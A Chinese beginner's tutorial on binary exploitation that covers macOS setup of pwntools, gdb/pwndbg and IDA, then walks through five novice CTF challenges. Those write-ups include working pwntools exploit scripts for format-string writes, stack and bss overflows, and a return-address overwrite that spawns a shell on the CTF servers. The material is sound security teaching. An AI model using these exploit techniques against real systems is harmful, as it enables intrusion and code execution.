Mac 环境下 PWN入门系列(一)

 

0x0 前言

一个菜?web狗的转型之路,记录下自己学习PWN的过程。

 

0x1 简单介绍PWN概念

主要参考下: wiki pwn

我们可以看到PWN具体细分话有好几个种类。

这里笔者重点研究的是: Window Kernal and Linux Kernal (window 内核 和 Linux内核)

CTF 的题目多是 关于两种系统内核的模块漏洞,自写一些漏洞代码的程序,然后通过pwn技术获取到相应程序的完全控制权限等操作。

关于Linux 和 Windows,其实利用原理是一样的,只是在实现的过程存在差异,所以入门的话,我们可以直接选择从Linux Pwn入手开始学习。

 

0x2 环境搭建

由于笔者是MAC环境,所以环境安装这块就多点笔墨了。

1.MAC PD虚拟机 Ubuntu 16.04 x64

2.pwntools

3.pwndbg

4.ida

0x1 mac安装pwntools

采用homebrew 安装很方便

1.安装pwntools
brew install pwntools

2.安装bintuils 二进制工具
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb

命令执行完之后,我们要导入我们pwntools的包放到环境变量。

1./usr/local/Cellar/pwntools/3.12.2_1/libexec/lib/python2.7/site-packages 
2.在系统默认安装包的site-packages写个.pth文件写入上面的地址就可以了

之后我们就可以使用常用的工具

checksec /Users/xq17/Desktop/bf743d8c386f4a83b107c49ac6fbcaaf

最后测试下python的pwn模块

import pwn
pwn.asm("xor eax,eax")

这样就代表可以了。

参考链接:mac下安装pwntools

0x2 mac配置 sublime 交互运行

我们首先需要设置sublime的 Tools ->Build System -> New Build System

{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}

我再运行的时候,发现命令行可以执行,但是st3上面执行报这个错误

后面问了下vk师傅和google之后发现是设置环境变量的问题: Reference solve

我们修改下上面的配置为

{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"env":
{
    "TERM":"linux",
    "TERMINFO":"/etc/zsh"
},
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}

这样就能解决错误啦。 但是我们还得继续解决下交互执行的问题。

我们首先下载

command + shift + p 输入 install Package

然后在弹出的框输入 SublimeREPL 等待下载安装。

(1) 配置快捷键

preferences -> Key Binding 添加一条

{
        "keys": ["command+n"],
        "caption": "SublimeREPL: Python - RUN current file",
        "command": "run_existing_window_command",
        "args": {
            "id": "repl_python_run",
            "file": "config/Python/Main.sublime-menu"}
        },
        {
        "keys": ["command+m"],
        "caption": "SublimeREPL: Python - PDB current file",
        "command": "run_existing_window_command",
        "args": {
            "id": "repl_python_pdb",
            "file": "config/Python/Main.sublime-menu"}
        }

(2) 配置 SublimeREPL 环境变量

sudo find / -iname "Main.sublime-menu"

找到路径

/Users/xq17/Library/Application Support/Sublime Text 3/Packages/SublimeREPL/config/python

编辑 Main.sublime-menu

这样我们直接 command + n 就能在st3直接进入交互模式

小彩蛋: sublime 的快捷键

新建一个group: shift + option + command + 2

切换group: ctrl + 1 ctrl+2 切换到第几个窗口

解决方案链接

当时我还折腾了下pycharm的解决方案(pycharm很适合开发项目,可以用来当作高效开发的选择)

首先我们要建立python2.7作为解释器

这样配置我们的

Environment variables: TERM=linux;TERMINFO=/etc/zsh

这样我们的运行环境就配置好了

0x3 MAC 安装 IDA

这个吾爱很多,有针对mac系列的解决方案。

学习二进制吾爱破解账号应该是标配吧。

ida帖子

0x4 pwndocker一体化环境

我比较懒惰,直接上docker, 推荐一个githud: pwndocker

常用工具基本都集成了,非常方便

也有其他镜像

docker search pwndocker

搭建过程:

我们自己新建一个专门用来存放pwn文件的目录。

/Users/xq17/Desktop/pwn

然后在当前目录执行:

docker run -d 
    --rm 
    -h mypwn 
    --name mypwn 
    -v $(pwd):/ctf/work 
    -p 23946:23946 
    --cap-add=SYS_PTRACE 
    skysider/pwndocker

然后进入:

docker exec -it mypwn /bin/bash

这样基本就ok拉.

0x5 参考链接

Linux pwn入门教程(0)——环境配置

 

0x3 工具介绍篇

0x1 pwntools

参考链接: 一步一步学pwntools (看雪论坛)

0x2 gdb+pwndbg

0x2.1 启动gdb

  1. gdb program //直接gdb+文件名开始调试, frequent
  2. gdb program pid //gdb调试正在运行的程序
  3. gdb -args programs 解决程序带命令行参数的情况 或者 run之后再加上参数

0x2.2 退出gdb

quit or q

0x2.3 在gdb调试程序带适合执行shell命令

shell command args

0x2.4 一些基础参数的介绍


gdb的命令分别有:(这里我只说几个重点和常用的)
breakpoints(断点) stack(栈)
help breakpoints 可以查看该命令的详细帮助说明
help all 列出所有命令详细说明
info 用来获取被调试应用程序的相关信息
show 用来获取gdb本身设置的信息

更多内容,参考一下链接(GDB命令基础,让你的程序bug无处躲藏) 我很少记忆,都是需要就去查

pwndbg的学习可以参考官方文档: https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md

0x3 ida 常用快捷键

F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。

空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。 直观,哈哈哈

shift + f12:查找字符串 逆向的时候能快速定位

n: 重命名 整理下程序的命名,能理清楚逻辑

x: 查看交叉引用

0x4 checksec简单介绍

保护机制介绍:

DEP(NX) 不允许执行栈上的数据
RELRO 这个介绍有点长分为两种:
1.Partial RELRO GOT表仍然可写
2.Full RELRO GOT表只读
ASLR(PIE 随机化系统调用地址
stack 栈溢出保护

下面我会针对这些保护继续介绍的,先了解下基本作用和概念。

更细内容可以参考下面的文章

缓冲区溢出保护机制——Linux

 

0x4 实践篇

0x4.1 学习使用pwndpg来理解程序流程

我们入门先写一个hello world的程序

#include <stdio.h>
int hello(int a,int b)
{
  return a+b;
}

int main()
{
printf("Hello world!n");
hello(1, 2);
return 0;
}

编译开启调试选项:

gcc -g -Wall test.c -o test

然后开启我们gdb调试熟悉下程序的执行流程

因为可以源码debug

直接 1.b main 2.run

我们看下栈段的信息

所以我们可以根据这些信息,画出调用hello函数的堆栈图。

我们输入s,进入到hello函数,先记录下没进去之前的rbp,rsp

这里我们按照指令去跟进call: ni si 两者区别同上

这里我补充下关于函数调用的汇编知识

ret 指令是退出函数 等价于 pop RIP
call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
push RIP
jmp x
push ebp 就是把ebp的内容放入当前栈顶单元的上方
pop ebp 从栈顶单元中取出数据送入ebp寄存器中
RSP 指向栈顶单元,会根据栈大小来动态改变。

我们验证下:

然后si跟进

然后我们获取下rbp的内存地址来画堆栈图

这个时候rbp值没改变,但是rsp改变了

执行完mov rbp, rsp

后面就到return a+b,这里没有进行开辟栈空间,所以这些操作并没有在当前栈里面。rbp rsp指向同一地址

接着执行ret可以看到

RIP的值就是上面那个栈顶的值, 这就验证了ret => pop rip

这里栈没什么空间,所以这里丢个简单的栈图

0x4.2 参考链接

Linux gcc和gdb程序调试用法

pwn 题GDB调试技巧和exp模板

【汇编】堆栈和画堆栈图

 

0x5 练习篇

第一部分我打算从攻防世界的新手区刷起

0x1 get_shell

(1) 题目描述及其考点

题目描述:运行就能拿到shell呢,真的
考点: 基本的pwntools使用

(2) wp

直接hex Fiend查看或者checksec 或者用自带的file x

可以得知这个程序是64位(x86-64 就是x64)的

我们直接用ida打开,f5一下,可以知道这个题目的确很基础,考察基本的pwn链接。

可以看出来直接system执行了命令行下的输入

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("OK,this time we will get a shell.");
  system("/bin/sh");
  return 0;
}

那么我们直接写个连接nc的脚本就行了

上面给出了nc的地址: 111.198.29.45:34462

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import * 
c = remote("111.198.29.45", 34462)
c.interactive()

0x2 CGfsb

(1) 题目描述及其考点

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
漏洞点: 格式化字符串

(2)wp

格式化字符串漏洞利用学习

我们把附件下载下来,直接ida打开。

我们checksec查看下

这是32位架构的,直接用ida64打开是没办法反编译的,这里我们选择用32位ida去打开

然后在左边那个Function name窗口按下m就会匹配以m开头的函数,找到main函数,f5反编译

// 这里我选取了重要代码出来,
  puts("please tell me your name:"); 
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);// 这里漏洞点
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:n");
    system("cat flag");
  }

printf()的标准格式是: printf(“<格式化字符串>”,<参量表>)

首先我们找出偏移量

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

c = remote("111.198.29.45", 53486)
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', 'AAAA %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x')
c.interactive()

AAAA 其实就是 十进制ascii 65->0x41 (16进制) 这样看起来比较方便。

我们可以看到AAAA 相对于格式化字符串的偏移量是10。

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

c = remote("111.198.29.45", 53486)
payload = p32(0x0804A068) + '1234' + '%10$n'
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', payload)
c.interactive()

这里需要介绍%n在格式化字符串中作用

%n: 将%n 之前printf已经打印的字符个数赋值给格式化字符串对应偏移地址位置。

这里因为要pwnme为8,所以我们构造p32(0x0804A068) + '1234'8个字节,然后%10$n进行赋值给p32(0x0804A068)地址,从而pwn掉。

0x3 when_did_you_born

(1)题目描述及其考点

只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
考点: 栈溢出

(2) wp

首先看下文件结构:

这里开启了Canary保护,也许你现在对此一无所知,但是没关系,看我细细道来。

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致

那么这句话是什么意思呢,就算你不懂汇编,也没关系,听我一点点地举例子来分析。

我们ida64打开下载下来的elf文件, 左边按m找到main函数,代码如下。

我们挑取代码下来分析下:

.text:0000000000400826 main            proc near ;               DATA XREF: start+1D↑o
.text:0000000000400826
.text:0000000000400826 var_20          = byte ptr -20h
.text:0000000000400826 var_18          = dword ptr -18h
.text:0000000000400826 var_8           = qword ptr -8
.text:0000000000400826
.text:0000000000400826 ; __unwind {
.text:0000000000400826                 push    rbp
.text:0000000000400827                 mov     rbp, rsp
.text:000000000040082A                 sub     rsp, 20h
.text:000000000040082E                 mov     rax, fs:28h
.text:0000000000400837                 mov     [rbp+var_8], rax
.text:000000000040083B                 xor     eax, eax
.text:000000000040083D                 mov     rax, cs:stdin
.text:0000000000400844                 mov     esi, 0          ; buf
.text:0000000000400849                 mov     rdi, rax        ; stream
.text:000000000040084C                 call    _setbuf
.text:0000000000400851                 mov     rax, cs:stdout
.text:0000000000400858                 mov     esi, 0          ; buf
.text:000000000040085D                 mov     rdi, rax        ; stream
.text:0000000000400860                 call    _setbuf
.text:0000000000400865                 mov     rax, cs:stderr
.text:000000000040086C                 mov     esi, 0          ; buf
.text:0000000000400871                 mov     rdi, rax        ; stream
.text:0000000000400874                 call    _setbuf
.text:0000000000400879                 mov     edi, offset s   ; "What's Your Birth?"
.text:000000000040087E                 call    _puts
.text:0000000000400883                 lea     rax, [rbp+var_20]
.text:0000000000400887                 add     rax, 8
.text:000000000040088B                 mov     rsi, rax
.text:000000000040088E                 mov     edi, offset aD  ; "%d"
.text:0000000000400893                 mov     eax, 0
.text:0000000000400898                 call    ___isoc99_scanf
.text:000000000040089D                 nop

补充一些基础的汇编知识点:
; 分号代表注释

main            proc near ;   代表main子程序的开始 可以类比为 main(){}中的 main{
main            endp ;代表main子程序的结束,类比为 main(){} 中的 }

.text:0000000000400826 var_20 = byte ptr -20h
.text:0000000000400826 var_18 = dword ptr -18h
.text:0000000000400826 var_8 = qword ptr -8
= 用来定义一个一个常量
操作符 x ptr 指明内存单元的长度
byte ptr代表是字节单元
word ptr 代表是字单元(两个字节大小)
dword ptr 代表是双字单元(4个字节大小)
qword ptr 代表是四字单元(8个字节大小)

下面是cannary的重点了.

.text:0000000000400826                 push    rbp
.text:0000000000400827                 mov     rbp, rsp
.text:000000000040082A                 sub     rsp, 20h
.text:000000000040082E                 mov     rax, fs:28h

理解这里,我们先掌握一些小知识
调用函数过程涉及到三个寄存器(寄存器可以理解为一个存放值的盒子)
分别是 sp,bp,ip (16位cpu) esp,ebp,eip(32位cpu) rsp,rbp,rip(64位cpu)
rsp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
rbp用来存储当前函数状态的基地址,在函数运行时不变,用来索引确定函数的参数或局部变量的位置
rip 用来存储即将执行的程序指令的地址, cpu根据eip的存储内容读取指令并执行(程序控制指令模式)
栈空间增长方式是从高地址到地址的,也就是栈顶的地址值是小于栈底的地址值的

我们可以通过gdb调试画出对应的堆栈图

我们复制下push rbp的指令地址,然后打个断点,然后r(run)

我们可以利用pwndpg插件很清楚的看到堆栈信息

我们输入n程序执行到下一行 (n ->next不进入函数 s->step 进入函数 )

接着,左边直接找main函数,然后f5,得到代码

这代码逻辑其实很容易看懂,就是一开始v5不能等于1926进入else流程的时候,v5等于1926就能输出flag

作为一枚pwn萌新,其实感觉还是有点不可思议的,但是转头想想栈溢出覆盖值的概念,就觉得可以理解了。

我们注意下else流程哪里,有个gets(&v4) 是char类型的,很明显不对劲嘛,gets应该读取的是字符串类型

这样我就可以输入无数个字符,这样可能就会导致栈溢出。

然后我们想想,我们可不可以控制v4让其溢出去覆盖v5的值呢,下面看我操作吧。

我们首先需要确认下v4v5的位置

ida反编译直接双击或者鼠标点到v4 v5可以看到相对esp ebp的位置

v4 rsp+0h rbp-20h
v5 rsp+8h rbp-18h

所以说我们可以直接写exp了。

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
c = remote('111.198.29.45', '52808')
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?','A'*8 + p64(1926))
c.interactive()

其实画个图很好理解

这里因为不需要栈越界所以canary保护就没啥用了,如果栈越界的话,那么就会导致canary存的值发生改变,然后比较改变之后程序就会执行__stack_chk_fail函数,从而终止程序,后面遇到bypass cannary保护我再继续深究下具体流程,目前我们还是继续刷题,巩固下前面的知识先。

(3) 参考链接

Canary保护详解和常用Bypass手段

Bit,Byte,Word,Dword,Qword

手把手教你栈溢出从入门到放弃

gdb查看函数调用栈

手把手教你玩转GDB(一)——牛刀小试:启动GDB开始调试

0x4 hello_pwn

(1)题目描述及其考点

pwn!,segment fault!菜鸡陷入了深思
考点: bss段溢出

(4)wp

我们首先把文件下载下来,checksec一下

还是老套路找入口函数main

然后我会直接双击sub_400686查看下函数内容.

这样就很容易明白我们的目标是让等式成立。

.assets/image-20191006222315601.png#alt=image-20191006222315601)

我们可以通过read控制unk_601068 10个字节。

这里涉及到bss段的概念

bss段主要存放未初始化的全局变量
可以看到上面两个变量都是没有进行初始化的。
bss段数据是向高地址增长的,所以说低地址数据可以覆盖高地址数据

所以我们可以直接写出exp了 两者之间的相差4个字节 0x6B-0x68=0x4,我们还可0x10-0x4=12字节,

写入1853186401=0x6E756161小于int范围4字节足矣

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
ip, port = '111.198.29.45:44975'.split(':')
# print(ip, port)
c = remote(ip, port)
#接收完这个数据之后再发送.其实不要也行,得看服务端处理速度
c.recvuntil("lets get helloworld for bof") 
c.sendline('A'*4 + p64(1853186401))
c.interactive()

0x3 参考链接

BSS段的溢出攻击

Heap/BSS 溢出机理分析[转]

0x5 level0

(1)题目描述及其考点

菜鸡了解了什么是溢出,他相信自己能得到shell
考点: 栈溢出 return2libc

这个题目很经典的栈溢出漏洞利用,通过栈溢出来覆盖返回地址,从而调用恶意函数地址。

而且这个漏洞代码非常简洁,很适合新手去学习。

(2)wp

第一步套路看保护:

第二步ida搜索入口函数

看到vulnerable_function,显然是个提示。

然后看下函数的代码是啥:

然后我们shift+f12看下字符串

发现有个/bin/sh,

通过xref确定了后门函数:

所以说如果我们能调用这个函数就可以反弹一个shell了。

这个时候基本就可以猜到是栈溢出了覆盖函数返回地址。

我们具体来分析下:

首先我们查看下write and read函数的文档说明:

read(int fd,void buf,size_t nbyte)
ssize_t write(int fd,const void
buf,size_t nbytes)
fd是文件描述符 0是标准输入 1是标准输出
其实很好理解,第一个函数往1里面写入了hello world,因为1对应的标准输出对象是屏幕,所以就会在屏幕上输出helloworld,就是一个printf的功能。
同理read也是这样,我们直接在屏幕输入的数据就会被读取到buf里面。

这个题目没开pie,也就是地址其实就是固定的,所以我们先确定下那个shell函数的地址(函数开始地址): 0000000000400596

我们继续分析下read的问题:

.assets/image-20191007075530589.png#alt=image-20191007075530589)

这里buf应该是char类型1字节大小,但是读取的时候竟然可以写入0x200的数据,这里的栈大小是0x80字节

那个0x80怎么算的呢

rsp+0h 说明这个位置其实就是rsp的位置
rbp-80h 说明rbp距离rsp是0x80h,那么栈的大小不就是rbp-rsp=+0x80大小吗?

这样我们就可以考虑覆盖read函数的返回地址了。

我们可以画个草图,然后用gdb去调试下这个流程就很容易明白覆盖过程了。

这个题目涉及到一个完整的函数调用流程,这里为了照顾跟我一样的萌新,我再细细地继续从0基础说一次。

重新回顾下:

ebp 作用就是存储当前函数的基地址,运行时保持不变,用来索引函数参数或者局部变量的位置
esp 用来存储函数调用栈顶地址,在压栈是地址减少,退栈是地址增大
eip 指向程序下一条执行指令。

我们简化下概念:
假设有函数A 函数B

函数A在第二行调用了函数B,也就是说第一行的时候eip指向的就是执行第二行的指令的地址。

int function A()
{
  B();
  printf("123");
}

那么调用完B之后,eip怎么去指向printf函数去执行呢,这里就是函数调用栈的关键啦。

首先我们要明确,栈空间是在当前空间开辟的一个独立空间,而且增长方式与当前空间是相反的。

有了这个概念之后,我们继续分析。

假设第三条指令地址(printf函数)是0x3,也就是说B函数执行完之后,eip应该执行0x3

那么执行第二条指令开辟的栈的流程就是:

保护现场

首先把0x3 eip信息压入栈内,保留了eip程序执行流程的信息。

然后把当前ebp寄存器的值(调用函数A的基地址)压入栈内,然后更将ebp寄存器的值更新为当前栈顶的地址。

这样调用函数A的ebp信息可以得到保存,同时ebp被更新为被调用函数b的ebp地址。

恢复现场

首先pop ebp,然后恢复了调用函数A时候的ebp。

然后pop eip 退出栈,恢复之前的下一条eip指令

可能有些人就在想为啥要这样做? eip不变不行吗,为啥要入栈作为返回地址存存起来,这里有个小误区,首先在栈空间里也是需要eip的,所以说栈空间的指令执行的时候eip会发生改变,不作为返回地址存起来的话,那么就会丢失程序流程。

理解之后我们画个堆栈图来理解这个题目

这里是开辟了0x80的栈空间

看下地址:

0xf0-0x70=0x80

可以看到数据的增长方向(内存地址是随机化的,每次启动都不同)

如果再继续输入的话,就会把ebp给覆盖了。

我们直接可以写exp了。 因为rbp是占用8字节64位寄存器,0x80+0x8=0x88(覆盖rbp之后继续添加数据就覆盖返回地址了)

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
ip, port = '111.198.29.45:37260'.split(':')
# print(ip, port)
c = remote(ip, port)
# c.recvuntil("lets get helloworld for bof")
# p64是小端字节序转换
c.sendline('A'*0x88 + p64(0x400596))
c.interactive()

 

0x6 总结

因为自己也是一个萌新,所以文章难免有疏漏或者错误的地方,欢迎师傅给我订正。对于网上的pwn教程我个人觉得对新手真的不是特别友好,造成了pwn入门门槛偏高,希望自己能给一些新手带来一些帮助,也希望有师傅能带带我这个pwn萌新谢谢。 还有。。后面我会花时间填好之前那个java代码审计入门教程的坑的。。。不过还是得先准备下老师的考试。。。。。。我会尽快的。。emmmm。

 

0x7 预期计划

由于自己学的比较零碎,后面还是通过继续做题,最后再来个总结的方式,记录下自己的学习过程。

 

0x8 参考链接

Linux – Pwn 从入门到放弃

(完)